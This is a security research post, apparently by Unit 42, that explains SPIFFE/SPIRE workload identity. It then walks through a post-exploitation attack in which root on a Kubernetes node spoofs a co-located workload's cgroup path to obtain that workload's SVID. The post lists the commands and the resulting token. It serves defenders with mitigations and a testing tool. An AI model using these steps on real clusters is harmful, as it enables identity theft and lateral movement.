Executive Summary
This research demonstrates post-exploitation techniques that could allow an attacker with root access on a compromised Kubernetes node to misuse an open standard and reference implementation for machine identity known as SPIFFE/SPIRE to impersonate co-located workloads and harvest SPIFFE Verifiable Identity Documents (SVIDs). We show how the trust assumption at the core of every machine-identity system — that the node is trusted — collapses once an attacker obtains root on that node. Unit 42 has not observed this technique exploited in the wild.
The Secure Production Identity Framework for Everyone (SPIFFE)/the SPIFFE Runtime Environment (SPIRE) is widely deployed in Kubernetes and cloud-native environments to replace long-lived secrets with short-lived, cryptographically verifiable workload identities.
Our research shows how an attacker with root can spoof the Linux control group (cgroup) information the SPIRE agent uses during workload attestation. This tricks the agent into issuing a co-located workload's SVID to an attacker-controlled process.
As part of this research, we developed Spooffe, an open-source tool that defenders can use to test whether an attacker with administrative access could manipulate cgroup metadata to retrieve co-located workload identities and assess the resulting identity area of impact.
When designing threat models for SPIFFE/SPIRE, organizations should assume that root-level access to a node grants access to all cryptographic identities scoped to it. We recommend performing the following activities to reduce exposure:
- Harden nodes
- Restrict root access
- Prohibit privileged containers, host access
- Minimize reliance on weak selectors
Palo Alto Networks customers are better protected from the threats described here through the following products and services:
If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.
| Related Unit 42 Topics | Identity, Cloud, Kubernetes |
Introduction
SPIFFE is an open standard for machine identity designed to solve the “Secret Zero” problem — the challenge of securely introducing the initial secret required to bootstrap trust — by replacing long-lived secrets with short-lived workload identities. When deployed correctly, SPIFFE enforces strong identity boundaries between workloads.
However, these guarantees rely on a core assumption shared by all identity systems that the underlying node is trusted. If an attacker gains root access to a node, they can interact with identity mechanisms to retrieve all identities authorized to that compromised node.
Our research explores how attackers can exploit root access to harvest workload identities from a compromised node. In this post, we lay the groundwork by explaining machine identity and how SPIFFE establishes and verifies trust in cloud-native environments. We then demonstrate workload impersonation through selector spoofing. Finally, we introduce Spooffe, a tool we built to automate the extraction of these workload identities (SVIDs).
Note to readers: If you’re already familiar with SPIFFE/SPIRE concepts and architecture, you can jump directly to Workload Attestation and How the Agent Attests the Workload sections.
SPIFFE Overview
Consider a scenario where two applications, a frontend and a backend, must communicate securely.
We could generate key pairs and exchange public keys to communicate through Mutual Transport Layer Security (mTLS), but this option raises a few key questions:
- Who rotates those keys?
- Who revokes them if the app is compromised?
- Can we verify who/what is presenting the keys?
SPIFFE addresses these issues by standardizing how machines are named and how short-lived credentials are issued.
The term machines refers to two broad categories:
- Workloads: Containers, processes and services running application logic
- Devices: Endpoints such as desktops, mobile devices and internet of things (IoT) or operational technology (OT) systems
- (Note: Device identity is not part of the core SPIFFE specification)
SPIFFE Identity Components
Each workload is assigned three identity components:
- SPIFFE ID: Who you are (your name)
- SPIFFE Verifiable Identity (SVID): Proof that you are who you are claiming to be (your credentials)
- Trust Bundle: How others verify that a trusted authority issued your credential
Let’s go into a little more detail about each of these.
SPIFFE ID is a canonical name for a workload identity that follows a URI-style format like spiffe://<trust-domain>/<path> (Figure 1).
|
1 2 3 4 5 6 |
$kubectl exec-nspire spire-server-0--\ /opt/spire/bin/spire-server entry create\ -spiffeID spiffe://example[.]org/ns/default/sa/default\ -parentID spiffe://example[.]org/ns/spire/sa/spire-agent\ -selector k8s:ns:default\ -selector k8s:sa:default |
|
1 2 3 4 5 6 7 8 9 10 |
$kubectl exec-nspire spire-server-0--/opt/spire/bin/spire-server entry show Found1entries Entry ID:f08ef054-053d-4013-ac7e-8fbc945ab5a1 SPIFFE ID:spiffe://example[.]org/ns/default/sa/default ParentID:spiffe://example[.]org/ns/spire/sa/spire-agent Revision:0 X509-SVID TTL:default JWT-SVID TTL:default Selector:k8s:ns:default Selector:k8s:sa:default |
|
1 2 3 4 5 |
# via /proc/<pid>/mountinfo 486648650:29/kubepods.slice/kubepods-besteffort.slice/kubepods-besteffort-pod<pod_uid>.slice/cri-containerd-<container_id>.scope/sys/fs/cgroup ro,nosuid,nodev,noexec,relatime-cgroup2 cgroup rw # via /proc/<pid>/cgroups 0::/kubepods.slice/kubepods-besteffort.slice/kubepods-besteffort-pod<pod_uid>.slice/cri-containerd-<container_id>.scope |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
kind:ClusterRole metadata: ... name:spire-agent-cluster-role ... rules: -apiGroups: -"" resources: -pods -nodes -nodes/proxy verbs: -get |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
type:\"k8s\"value:\"sa:default\" type:\"k8s\"value:\"ns:default\" type:\"k8s\"value:\"node-name:mars\" type:\"k8s\"value:\"pod-uid:0f3f57b3-a05c-4316-84e6-f88f0639e120\" type:\"k8s\"value:\"pod-name:client-845647cfb-s9stv\" type:\"k8s\"value:\"pod-image-count:1\" type:\"k8s\"value:\"pod-init-image-count:0\" type:\"k8s\"value:\"pod-image:ghcr.io/spiffe/spire-agent:1.5.1\" type:\"k8s\"value:\"pod-image:ghcr.io/spiffe/spire-agent@sha256:40228af4d9a094f0fef2d7a303a3b6a689c4b4eba2fa9f7da5125b81d2d68ec8\" type:\"k8s\"value:\"pod-label:app:client\" type:\"k8s\"value:\"pod-label:pod-template-hash:845647cfb\" type:\"k8s\"value:\"pod-owner:ReplicaSet:client-845647cfb\" type:\"k8s\"value:\"pod-owner-uid:ReplicaSet:47b494e3-2758-4b2a-82f8-5e924700f6bb\" type:\"k8s\"value:\"container-name:client\" type:\"k8s\"value:\"container-image:ghcr.io/spiffe/spire-agent:1.5.1\" type:\"k8s\"value:\"container-image:ghcr.io/spiffe/spire-agent@sha256:40228af4d9a094f0fef2d7a303a3b6a689c4b4eba2fa9f7da5125b81d2d68ec8\" |
|
1 2 3 |
type:\"unix\"value:\"uid:0\" type:\"unix\"value:\"gid:0\" type:\"unix\"value:\"supplementary_gid:0\" |
|
1 2 3 4 5 6 7 8 |
Entry ID:5400287f-a2b1-4347-9480-17d9da67f203 SPIFFE ID:spiffe://example[.]org/ns/a/sa/a ParentID:spiffe://example[.]org/ns/spire/sa/spire-agent Revision:0 X509-SVID TTL:default JWT-SVID TTL:default Selector:k8s:ns:a Selector:k8s:sa:default |
|
1 2 |
newton@mars:~$/opt/spire/bin/spire-agent-1.12.4api fetch jwt-audience my-service-socketPath/run/spire/sockets/agent.sock rpc error:code=PermissionDenied desc=no identity issued |
|
1 2 |
$sudo crictl inspect$(sudo crictl ps-a2>/dev/null|awk'/Running/ && $0 ~ /(^|[[:space:]])workload-a([[:space:]]|$)/ {print $1}')2>/dev/null|jq'.info.pid' 9072 |
|
1 2 |
$cat/proc/9072/cgroup 0::/kubepods.slice/kubepods-besteffort.slice/kubepods-besteffort-pod7e3ad176_ab5c_4f2a_b5f3_3c7e4c91a9ca.slice/cri-containerd-7e1e73513947053f6ee40746fc498b1fb4f285cf175fa8336f08a38e209bda38.scope |
|
1 2 3 4 |
$sudo mkdir-p/sys/fs/cgroup/kubepods-besteffort.slice.FAKE/kubepods-besteffort-pod7e3ad176_ab5c_4f2a_b5f3_3c7e4c91a9ca.slice/cri-containerd-7e1e73513947053f6ee40746fc498b1fb4f285cf175fa8336f08a38e209bda38.scope $sudo echo$$|sudo tee/sys/fs/cgroup/kubepods-besteffort.slice.FAKE/kubepods-besteffort-pod7e3ad176_ab5c_4f2a_b5f3_3c7e4c91a9ca.slice/cri-containerd-7e1e73513947053f6ee40746fc498b1fb4f285cf175fa8336f08a38e209bda38.scope/cgroup.procs 169614 |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
newton@mars:~$/opt/spire/bin/spire-agent-1.12.4api fetch jwt-audience my-service-socketPath/run/spire/sockets/agent.socktoken(spiffe://example.org/ns/a/sa/a): eyJhbGciOiJSUzI1NiIsImtpZCI6InoyRHRZbDMySlZsTWM0aUVLcWNmRlVvdTlxUjZjcURPIiwidHlwIjoiSldUIn0.eyJhdWQiOlsibXktc2VydmljZSJdLCJleHAiOjE3NjAyOTMzMjAsImlhdCI6MTc2MDI5MzAyMCwic3ViIjoic3BpZmZlOi8vZXhhbXBsZS5vcmcvbnMvYS9zYS9hIn0.bDgJ67m1VkiwVSUtwK4ljE3IdxrTr8sekXWbl7YI8y8erNY5UulwOAcP9gtSrWZcM5Kpm9jx2EjP6-F87bUw9_hiGv11kq_9jYrYVr_c987oQLGebXunEeNGLEz0tndICmZ7CMisFkUNaYPT0W_XdZrdO0OQnH_FLNPfVwlhA7nY3xDQXdk2oAxnUjrCGyJVKVuu461SVPs-92ttbpAdfz7J4YkbL6PxwEr2iG6x2XXYrSzKmFC5JamqMXj1kYA7nEH4asHV2d9bOQUiHeejgdxnrU53a3okN2-uM1lnTU8aXAMdSMw3D9rRyO_0-9xC2uvMyjKi0GGTybJCwIHGVg bundle(spiffe://example.org): { "keys":[ { "kty":"RSA", "kid":"z2DtYl32JVlMc4iEKqcfFUou9qR6cqDO", "n":"05g3npQaw7ypPMZ_cbpCAgr-VGX4JUNH6TgbXZlKvWho_CGR_ftTABAAGb6QUB0a3Nreg9oPUHGST8vdTvx-eDjW5YBQ1uMlqpXRxqy41532jo0a-xjqpQ_CKTq7NVZXn-5ZZp5lvS58atk8ydk7jrHsn_TyXsPx7fSOk1I8wQha3ouW83H3017IMfdn-TmXSJIfRvaEAZG4k3EuKGSGq6RZ4lyu-yDk6IvsJZVUWKPh-aPTL3ae4nSgzIt2_bt5mRBfcO-Gqsumd8YqofFOfDmGLU5-CXwVCUvMEO0MwT2UAg2F-HzJLTkxg51QlQhPodIG1R3zFO6Bt4bZK9eglQ", "e":"AQAB" } ] } |
|
1 |
"sub":"spiffe://example.org/ns/a/sa/a" |